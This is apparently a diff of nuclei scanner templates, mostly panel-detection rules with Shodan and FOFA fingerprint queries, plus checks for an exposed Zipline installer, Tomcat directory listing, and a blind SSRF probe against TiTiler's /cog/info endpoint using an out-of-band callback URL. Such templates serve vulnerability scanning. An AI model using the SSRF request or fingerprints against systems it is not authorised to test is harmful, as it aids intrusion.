-# digest: 4a0a0047304502210099e4b4aac977c0ff73b36f8fb872a70eaecde6a8ab69c495cd2af6bac9191b620220268e56cc2ecf49902213d42f1c4f54aa7ecd089bedd9d7930a36edcfd14efd06:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200c98d3f80561292bd24df2cf51138227bc2fcf013a3c8e529bf338eb24e90453022078400fe3465d3d1e4d568bb5022bd4e96d2b7f5dc254c9d78cd0b768a98d0200:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220354294a46d7524d03a70ed6421c8dc5e80d5ee63fad3a09883fac92b44757387022061725bddaf3c390c1187868e4e5499d067f4fbeb4d1158497861af751b996aca:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200f83bcb0c05ccafaa0782d52dbaf3af2de701325e303a53135919bf7b72376ac022100f9d68b84291123ae52af0ab17c30d7b1f6b0b068b478d352abeb8ba24365655a:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
          - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
          - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
        condition: or
-# digest: 4a0a004730450220654ad1bac54d790104f2129630afe977aaa5f86773ca6045ba0256c652e054ca022100e2fa00bf0f704891bb6f671934fbc7e78440ff132ae4ebae1d4762196f9c7c2b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100de7eed42130fe06e308939a61863221e49ec2168f3148f16cc810c7a91d296fe022100935bcb87a915db0b748a8d30de8b72bccf297d5d6b0081d3255461b8eed7bd51:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
+id: meddream-dicom-viewer-panel
+
+info:
+  name: MedDream DICOM Viewer - Panel
+  author: darses
+  severity: info
+  description: |
+    MedDream DICOM Viewer panel was detected.
+  reference:
+    - https://meddream.com/products/meddream-dicom-viewer/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: meddream
+    product: dicom-viewer
+    shodan-query: "Set-Cookie: MEDDREAMSESSID"
+    fofa-query: "Set-Cookie: MEDDREAMSESSID"
+    zoomeye-query: app:"MedDream"
+  tags: panel,meddream,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'src="js/md.main.min.'
+          - "unsupported-browser-msg"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "MEDDREAMSESSID"
+
+      - type: status
+        status:
+          - 200
+# digest: 490a004630440220592bd4769a53d668479e68e44b56abd09632141506ad147fd1708fef164cbee5022070612090776a2c9f9da9c23577daee7ae1d151dfc90ed8206ab8b84176bf92cc:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502205354349ad6c44ab710546c6b7725982ad23e7696b618132ddafd70c2b01ceba8022100c9c33a6deb95273bbf13ad98af5b14335315beae598292d6426ed3ecc50f9b15:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100824bcdd5933a449903504f63693a40da890a837ad336a5253634fd4e8ab49e490220451bf00d6c644734c5f5730fc5233c1b162aedc1a1b1379a689aaac67e321892:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100c3777a6d018f805a55a87950ca87c0cb4950315e35bf5b719c768f1bb78500a8022100e70afabbbf9525d0a06fbe6aa3aa949c8040a91cdd71e297dc3bddee5fcc3a00:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100adbebe64cf902c89670d851088db339f09967286629e57b95a652af150676022022100a410c5a270a33644815311e20ceb06aa2852ac91c7f247485f0c01956b9658d3:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '_v=([0-9\.\-]+)'
-# digest: 4b0a00483046022100c9ceec819f00988a30de3293551386d06a1be4cfdd6418e81de2079a479db364022100cfc7ab0c72d01fbfe95b29ec003a6b2767461e9ff9867ce92d87b4096f9236d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ba3c55417acfa9501ba62800b13d98c0c28ece83d5ea09823874269a70533a82022069ae706a39ac11091cc60ea2e02f1290fc7a01770fa6cf22ad172180c94a9d44:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
        condition: and
-# digest: 4a0a00473045022100c98d5bfa358b305df8ee315aaf3f8784b620a13f22612166aef3b4022d725ade0220078de212c8587cbfcd7cd63c1ed9f3201fbe899772e1acd4732cf68e3a604668:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022053ce937cc4c0bc1a4b1d5e84d935b566198a62704122c3f6a19c315aac291343022100c54316b88b82b6a4ced3e2c35e2cd976fe638c9e912f31324cfa4c250e656664:922c64590222798bb761d5b6d8e72950
@@ -2,7 +2,7 @@ id: opennebula-panel

 info:
  name: OpenNebula Login Panel - Detect
-  author: kh4sh3i
+  author: kh4sh3i,darses
  severity: info
  description: |
    OpenNebula login panel was detected.
@@ -15,8 +15,16 @@ info:
  metadata:
    verified: true
    max-request: 1
-    shodan-query: http.html:"opennebula"
-  tags: panel,opennebula,cloud
+    shodan-query:
+      - http.html:"opennebula"
+      - title:"OpenNebula Sunstone Login"
+      - http.favicon.hash:-1616420987
+      - http.favicon.hash:656672194
+    fofa-query:
+      - title="OpenNebula Sunstone Login"
+      - icon_hash="-119786698"
+      - icon_hash="656672194"
+  tags: panel,opennebula

 http:
  - method: GET
@@ -28,10 +36,18 @@ http:
      - type: word
        part: body
        words:
-          - 'OpenNebula'
-        case-insensitive: true
+          - "<title>OpenNebula"
+          - "OpenNebula Systems"
+          - 'target="_blank">OpenNebula'
+        condition: or

      - type: status
        status:
          - 200
-# digest: 4a0a0047304502205ba563bfdaf077e13dd975faf9a2faf653d7ebc25e8fe79fdd54f4d90029eedb0221008a169bce5503562f2a7601bc2c733efd0dc63cc9c9aecbd44f7af1fd86d9acb0:922c64590222798bb761d5b6d8e72950
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "href=\"css/app\\.min\\.css\\?v=([\\d\\.]+)\""
+# digest: 490a0046304402205a9c66c9fb4c72f76497b448b7f8fd64d67fb0fdf9ad4bfe9eb9bac687b1823602203a3a586e126fc3bd9a1d8729d55e846ca054f40d6e9cd183ca96c921bfb053cc:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,31 @@
+id: opensign-panel
+
+info:
+  name: OpenSign Login Panel - Detect
+  author: righettod
+  severity: info
+  description: |
+    OpenSign Login panel was discovered.
+  reference:
+    - https://www.opensignlabs.com/
+    - https://github.com/OpenSignLabs/OpenSign
+  metadata:
+    max-request: 2
+    verified: true
+    shodan-query: http.title:"opensign"
+  tags: panel,opensign,login,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/locales/en/translation.json"
+      - "{{BaseURL}}/"
+
+    stop-at-first-match: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "OpenSign")'
+        condition: and
+# digest: 490a004630440220527333ffffdd9e87659e1507cf841562ba9d44cf35aa3ca382a4a7cac16adaae02200ba853235d75e4fcfb0767294a9170229afb0f0433f8889297a4836f5e8c9de4:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402202fae6db4afbc4dc43170b444590a5c47cbd2a1911209f69d66dbcefc6697af1c022018be260acdcf8746d22952c7235cb3d8433f21bca4c0fe428f7e4bb35a4b03d8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022023961b6c13ed35a7ab6c1bdf0178ea63cbcc258a217853c2b0403e8ca9377b64022100993e36be6f9b8cb54883e2fbba0c6cdd05cdc6bfab182e96ea559f6d26b87d14:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
        group: 1
        regex:
          - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4a0a00473045022100bd117f1526d9e9b06a76abcffc62a8c2332c415afb2839da71f1db9216093d36022053832dc2af5ee65824c06a0925af8741bf55775fe77930319798302d85cad9a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d4f65e9dbc7cb27da9de7dc826c6a523858fa24f4ca1cc18954e93c6ccfb297102206521fbefddac1632cf93f543472a09e768a6aecafda19d324669de7193efcad5:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502210096e57d3bbf1fb071381697423a468a7776eeb13bfdae757407f830028a8c100d02202b5b51c9c1442ae9d066e59f47bec08f15ba4ab61b911d1bcda0e6bafc9c928f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022065dc8be3f82d0d404323f5f34ef1afd6b99ef51a06b7fd07768b015dbfd1dcda022100b53ce0555e9662a41d84af56bd8c67e96e0a9a03c8e78d240582efa6bd9e93ba:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(body, "PhotoPrism", "login")'
        condition: and
-# digest: 4a0a00473045022100b33601707a97a53f0a8bb100dfcf6309334338456931f88768510ed4b2de31aa02203da9e79ca56d138e5c4ee85ec12ef12d97358c31e9907169a9c433754e819cac:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205506d8dde962f190bd3753d4800e92287df32ac8079c3edea66972ceea997c62022046949536e3f8682e3fbe9574e36397d206227acc7896a57e33d9f7f1b5666b45:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022005ad1cf218cff311a564ecad61785950fc88059f42ae8b77fb01afff7ae72f5902210083423af525e20425b8eac8ce7b3483fee6a29a46691e078e60b91172c137f311:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201120ce1508be60d02e2750cc99411a0882c481861cf8a06026a581db570c4fc0022036860b24433c00c4acbe6d26751ded1d9f88d9cfb18fe149450425899dcf4f08:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - '<title>Procore Log In</title>'
          - 'Log in to your Procore account using your email and password'
        condition: and
-# digest: 4a0a004730450221009fbeaec02ed1fc38b4523a066c0aeda6902f98f0c1668cef564d63b1cb31ccd702201e7f0ff4ff1a8a13237900811746197ea54ca957381cca26c6e1bfbb015b0727:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a4f11b87f818705633e12214aea6736aaa644a4d71942b218a1c9e1e2b77d908022100f39ce9d779ade6a67dbb1fe3e152e74d9e168bce7055752a76217f9d1f69e406:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4b0a00483046022100b16d05f13b55ea45647dde097f705d2ed398eb0eadec537e911422b8f54ee6aa022100b4ca726c44767367ce996a8862152bc12a54bb78f517a0a42f3c506d9685fa09:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e62b5d27e360094da7f9d675e14312dc86069a383f49e4e4b70ba889039781e7022100a6cc29847abefbf952cf9d9076e6ed4bfcd233b2b4ff97945f055553a0ecfa55:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'V=([0-9.]+)'
-# digest: 490a0046304402205b3965d9f5a8d09941203aef03a29b77bd811a5c6e4192c9f00120afb609469f02204bc75bb0843c7b1309d040d6909a4af292d53e30ae4adae6071a49330856998c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206acfee647593f14fe96e3c51560f664c62fad42ea79093f911238c036f9b8ccc022018cb95ae94a6fbaea4b4e48e6fe988240a87a7216253a7d7380f1ac1a15bc248:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4a0a00473045022042a17e4d583a6578f460c7413f82f806e64dc4eca10e86aa192ff66fb3306951022100926ec89a40123a8ec45f30f51cb531b37d6e09649f0b86ca355011d50801987d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220796c484fc25e6d8f32ed537149ea22cad723213f0ccda46799b954055bbf0401022100a633f8b41ec88336263abde6e56875091f7fc234505c262965dbc16c93bdb537:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: suse-manager-panel
+
+info:
+  name: SUSE Manager Server - Panel
+  severity: info
+  author: darses
+  description: |
+    SUSE Manager login panel detected.
+  metadata:
+    verify: true
+    shodan-query:
+      - title:"SUSE Manager - Sign In"
+      - title:"SUSE Multi-Linux Manager - Sign In"
+      - title:"Uyuni - Sign In"
+      - http.favicon.hash:1158194469
+    fofa-query:
+      - title="SUSE Manager - Sign In"
+      - title="SUSE Multi-Linux Manager - Sign In"
+      - title="Uyuni - Sign In"
+      - icon_hash="1158194469"
+  tags: panel,detect,suse,login
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    max-redirects: 1
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<title>SUSE Manager - Sign In</title>"
+          - "<title>SUSE Multi-Linux Manager - Sign In</title>"
+          - "<title>Uyuni - Sign In</title>"
+        condition: or
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "webVersion:\\s+'([\\d\\.\\s\\w]+)',"
+# digest: 4a0a004730450220216b4a9b2e92b585495f5a1d2b7bbeb587d2fc236528e415c89be05bd9923753022100fdd032dfce466eb6430973fa7ad1a2d7a85df04a35faa50bfc47ca332d662d86:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4a0a00473045022100e8565d17909ab8740d0f940f4a2bcab1d6d9430e0a7f704bb30434992fafe9b6022061f2e9d9bd5e091363dc5514b2aadf5d6e5615f9e44801d38441dde6f18fb426:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220107134eb3fdc2f33d1d889b71c8265231289e1ca9a586ed80d72207cfa0b773c022100cc528d224b882b7538209ed99b4d9d76984841f210c60699f9148f63bca2e36e:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
      - type: dsl
        dsl:
          - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4b0a00483046022100ce1603094c8aa8e4757e289ad73bc78be36909af012641cbe94bea751a6395c9022100b07bac21b6e366cd1253157efea235cf743b46faf18cfdec2209a5ef29071d37:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022003e42d322c78fa87200dfbd83062f863720461deeee629552587ef78bc041eb602205317b713c64f889f8db5f550c2d0ae4b50547902b8042cc8342be0201506fc84:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220645f27630807aeb2e8d7c26a119e13db409acc75c0b7638fa6cffc226297f399022100b58de1c620295ac79bab3d9a5535e841b35ee4a9b4bdf2b8bb75f3086ff6ba18:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2f6a32e9375edbc5dfd7908327d4904f4c72c889ef12f1a0e3ca8b1b289448f0221009d7c9f78a0f325cab8508f5535af27568f9604d9a9b47da6dc1f08c872cec5b4:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
        condition: and
-# digest: 490a0046304402207537ef408ad1f914a08ee1f0f7fb8fe818ebaf52152747348720a2920b895e3c02200109bec39bfbe4b9753900979b1cdf19b8bc6f62c400f30c3f245178b073db16:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a73528e5f3aebe6bd31d40556ab0e1a942c5f7817622e332b8668697378dd936022100df6ca1c9ad4b207d84d9e6114baccdbe43ca068a3dea5a86699d17ec021d87f2:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100d59c5499c5105d00cf6bcdffc05e486ac113174f1936fdd63d94653b8e6d1ced022043e41353312983340e351aea2b5ad4d96d68b5937a1ea010ab17d00eda76507b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa91fe08499f12138c38dd2cc606b17f796af074008607d293432ba479d22a41022100efe3df3ff5f83a9b1e48268634004d673ce4a8bc05a2d17cc1891776e7515c19:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
        part: server
        words:
          - "wildix"
-# digest: 4b0a00483046022100b21caacab56ee0c4ea6d6729bb90b8d4051aa465b89a4bea853887472c5a24410221008a44ec065da5184e0d03cb9bee858dbfcfeffc3bb84faa13fb46d5e89f5d8333:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022061dfffaf328ee8d64259b58a135610b8480a8d1d06d2c92e66b25af01b1ce24f022070bd61d4c563199f67fa98653037430444c35f7f5f44f1b6ffb0cedb32a42309:922c64590222798bb761d5b6d8e72950
@@ -58,4 +58,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502207a1017cca3f944a10e173d3ad7c097a35c4401afa630be24932a20b7f65698d1022100b641a02af3d7cd9e4526f65c677c5df7de5f156598e5a41b1b4089dd0cf57b60:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022046a9543aab4df597a9e4f8339d1b433cb093cfa676794f5f79004153a687f90002202d73622f3a5adf7377c55b9bfae6fd6dbeb1ffcb4766bc8170b01d1cab3c5486:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221009c4befc0369409f142f1f4316787fb7b5ec09e557d25da883d576526466a7b410221009d7bfb26eaff6fc55e23980b96a509bd9651cce6b8720c6d7a584ddba098d7cf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220093f6a3607a684a8a0c8f52f88ebf07d9fc16e916f1966d72674a873af1bec2e022100d86ac6de73d1954db9dd732f16918138dceb9b504ecf5c852121e543699dd2c2:922c64590222798bb761d5b6d8e72950
@@ -26,4 +26,4 @@ http:
          - "contains(body, 'android_app')"
          - "contains(content_type, 'application/json')"
        condition: and
-# digest: 4a0a00473045022100cbda9fafb25d9193d153bbc8adaaa3d9c6f87b57e6d7eda6facc3a614041688502204aa2813a7ff79c916dc1c039dc41685c8e086dbffcaabec973a9328dabd527ab:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203c8d4ff60311f73453a2fca83348348f4b42613a6de83ae6c3821d8cc1d87e5102204b7ea1d355ca531f8c7c1cd5dd1cb494a61d9f77cdf8e00a3936a6f0ede803ff:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
        name: discord-bot-invite
        regex:
          - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a00473045022100f4f581b7c5ab02ee0af9e1bda1c3b68644181097adf5c4f302b5a30edbc4097a02206418d4b083ba1d4918fcbc6bee5692ad69707e7bf92c49895dd4c629d816a5f3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d89ed4a7e25178cf23ea79237bacbdf08e6531c8116b7f2128fa8cfe794dfb6602206f8e7feee0425aff8473478c140ae1ead3dd7f09df62327efab2a5b97d2aec2a:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100af21173a33d75060c473bfbb32036fad1673632de38dfd9612784c6490b7673c022100cdc3f141cc2560cee281569fa1ec9c4aef2bb6bfdf34069cf3a8db34a9dbb16f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa6236d3525ce5c6f01637e32065f75289a09b21f37a146ffcd61a8ed127e8d8022100c46679a6af52c46d7cb6ca541961289119d1ce9dc4d72f6893137da5f21a5152:922c64590222798bb761d5b6d8e72950
@@ -36,4 +36,4 @@ http:
        part: body
        regex:
          - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4b0a00483046022100ba5a67df95ae71b6734e91500c4efa61839322cf1afe1ffd8ad2f72345d3fcfd022100db1c00acb2e42d41c82794c14ddeb3bf65c18fd790f034418b1128bf5624e775:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220176f86233d84ca761df6b0b573a01b967edfd3e11d6070f6c6639f0b3f30d78a022078805a39e87d3b90d85c0a39d91815df8977d85056c9651175bf5c3b7f8d1985:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        part: header
        regex:
          - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 4a0a0047304502200b1e7115c77539cae7aeaebeb6329a7a7734331e42d214805a1665342107979a022100a188c8e522d15b5fd26696376749c1db9c5e4dd3dc6507aaf4ade0fd3da72a82:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220278dd68903cd78bfc596dc670171962e23565f2b422abf51dbb830c8154428b70220153c4097074b872f079257dc60a00b9e3c8e86e05ff8c494ac957d9525634686:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
        group: 1
        regex:
          - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4b0a00483046022100fbc3a2e1fbfd35ae254e0e76892ee198de356f57e91dcc83337a487e9543a81a022100ea4e1249919e5fbee153a594d2e1ef47ab6f5dea298dbe774cebb71772f9e533:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fb0cbf8ba2cf621f53635b916a5ab09f6f1cc75c3e136523e86ecf826b3adfa00220675096a4418fca7a0d92870a1f694da72e182eff5461a753ccc587d477109fcc:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,7 @@ info:
  author: CasperGN,TheZakMan
  severity: info
  metadata:
-    max-request: 1
+    max-request: 2
  tags: miscellaneous,misc,generic

 http:
@@ -20,16 +20,17 @@ http:
    matchers:
      - type: word
        words:
-          - 'User-agent:'
-          - 'Disallow:'
          - 'Allow:'
+          - 'Disallow:'
+          - 'Sitemap:'
+          - 'User-agent:'

      - type: word
-        part: header
+        part: content_type
        words:
          - text/plain

-      - type: dsl
-        dsl:
-          - "len(body)>=140 && status_code==200"
-# digest: 490a004630440220483c89872ac45742f715d053eb97b7b97c1a23e981027e2cb467df256ea0dca4022047fbfda47c570bf41d34c4ddf5d76df4d2fa6bc27a4856d0ff95cdb944aa1203:922c64590222798bb761d5b6d8e72950
+      - type: status
+        status:
+          - 200
+# digest: 4b0a0048304602210085c101f3172bdbe7d5b364c00bfad8ac617053a3dd0fb8d491f14ecf08589c35022100937a5aa0ab732fee9e5a03926fbe02730f142af9cc4a322d0ddb36612f707766:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100906e16d4d22fa9409c09e59fee59aa3c695d0fe9a21b1aff03e51e31da38652802206c30d006c0aab7a0beac872c3607fa60a60a47c4f628e8a57583264c3f93d845:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c4f20a534dfbd408bc8a5b0484507b02ef4ca1ffa79630dcb484ce73b183e5b9022100b34e5940be458018a325c74c0d290bebc0d4c22ab3b4197853eb16b857e0612b:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        part: body
        regex:
          - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 490a0046304402207abb2d2e0a9e5ec4180aec81774978ba02564d5fb624c61ff365eb634bef95b80220725724bb7bae2732f40f3158fb51fb38fe93709602084348db44c9a4f3ffa5ea:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e69883c6bb8a7663935b7f71f06882f61e363bd5c8ad8de7f9a93e7804640f2b022100f40bf14e45b2539790931c75dea47594ef420c846b96c484fd09c5a68969d1c4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: zipline-installer
+
+info:
+  name: Zipline - Installer
+  author: pussycat0x
+  severity: critical
+  description: |
+    Zipline installer setup was detected.
+  reference:
+    - https://zipline.diced.sh/docs/get-started/docker
+  metadata:
+    verified: true
+    max-request: 1
+  tags: misconfig,setup,zipline,installer
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/setup"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Setup Zipline"
+          - "Configuration"
+          - "Create a super-admin account"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 490a00463044022008a9142bc86d8022eff166023cc4bdfab7919af73325a89ae7f5aec35196941802203905cca8713ea532a94ca2dd93b0c8900c7016f26f5cab96cf2dfd22025fba94:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100f21e273bf44240056158cfa7562ec898432afadeb387896d319904cc94775df0022100f61b4da1f6a5842ebd5764703423a9b9a428cec30bb3309488ba54700cf0cfd6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d13ca070dc92ee15a39bfd9d7937cd347e9de3ee05a10689201eafd128cd0bfe022100ca0b0d79ffbe0940c427d32a1510ada3f1ff84c97f5f96cdddb1c82e397b4014:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,30 @@
+id: titiler-ssrf
+
+info:
+  name: TiTiler - Blind Server Side Request Forgery
+  author: xbow,DhiyaneshDK
+  severity: high
+  description: |
+    Blind SSRF vulnerability in TiTiler, a dynamic tile server for Cloud Optimized GeoTIFFs (COGs). The flaw lies in how the application handles the url parameter in the /cog/info endpoint, allowing attackers to make arbitrary internal or external HTTP requests.
+  reference:
+    - https://xbow.com/blog/xbow-titiler-lfi/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"TiTiler"
+  tags: titiler,oast,obb,ssrf
+
+http:
+  - raw:
+      - |
+        GET /cog/info?url=http://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 500'
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "<imageAttributes> in document")'
+        condition: and
+# digest: 490a0046304402204525df71a42947df06081b2d81962b1ab2f251abae337942de7826f6df62124002206d06a6c847e506eacf02696f166b1d576719311e1161a77a8172005d5216959a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
+id: tomcat-directory-listing
+
+info:
+  name: Apache Tomcat - Directory Listing Enabled
+  author: oleveloper
+  severity: medium
+  description: |
+    Directory listing is enabled on the Apache Tomcat server, allowing users to view the contents of web directories.This could lead to unauthorized access to sensitive files and potential information disclosure.
+  remediation: |
+    Disable directory listings by setting the listings parameter to false in the web.xml under the DefaultServlet. This helps prevent unauthorized directory browsing and protects sensitive files.
+  reference:
+    - https://isms.kisa.or.kr
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: apache
+    product: tomcat
+    shodan-query: title:"Apache Tomcat"
+  tags: tomcat,misconfig,listing,kisa
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Directory Listing For"
+          - "<a href="
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - "(?i)content-type:.*text/html"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450220589eecba207bd37070f3810a48ab99322c121868ec8d16cda81a507ad3258ec302210094f3f14a88fea35c3c3f8fb000fbaf06acf89a8f5d17bc5f319a66ade981015c:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
          - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
          - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
        condition: or
-# digest: 490a0046304402206bae90ded9fccef81a479155d99797dd185caf014d5d91654dd033653cfe0c8102207dbc6132346a7f73c1f22b6bfd4597982b5d54a818ce1ea79aef6f5c544ff0ca:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022020434fdf5d95862d77b55fa5144ee3fa3076f0b71c2dd2688d90938b0e59c0ea02207885783e1bfd5bf8d353d4bc62c33571f622289ff8134eff20e65dd411bf931b:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"1password.com")'
-# digest: 490a0046304402207b7255bb5871925f96d1624ca50d95b9e5424c50d862b15c5f6560c12ff99f400220791e7bfa35267413147d2c790e071e515e6cb405b12ce305ed542ba75d7a713b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200d01a9dc34ce4c129b1f6a5414031ef24952e78849ecfba9769e62ba30e9786f022100d5771ceed3a09965ecbc9173fc257f82133df2518f099f7e26db56548b75cb95:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
      - type: dsl
        dsl:
          - '!contains(host,"adobe.com")'
-# digest: 4a0a0047304502210093b014ab5e5c35f1fbe21ec012e43a9af8945747b047419c9e3592379a4f255a022025daef7124b4e4c178dc950907db2e660f5aa0a1b50f2f9fd9bb7a7bc53f6cc1:922c64590222798bb761d5b6d8e72950
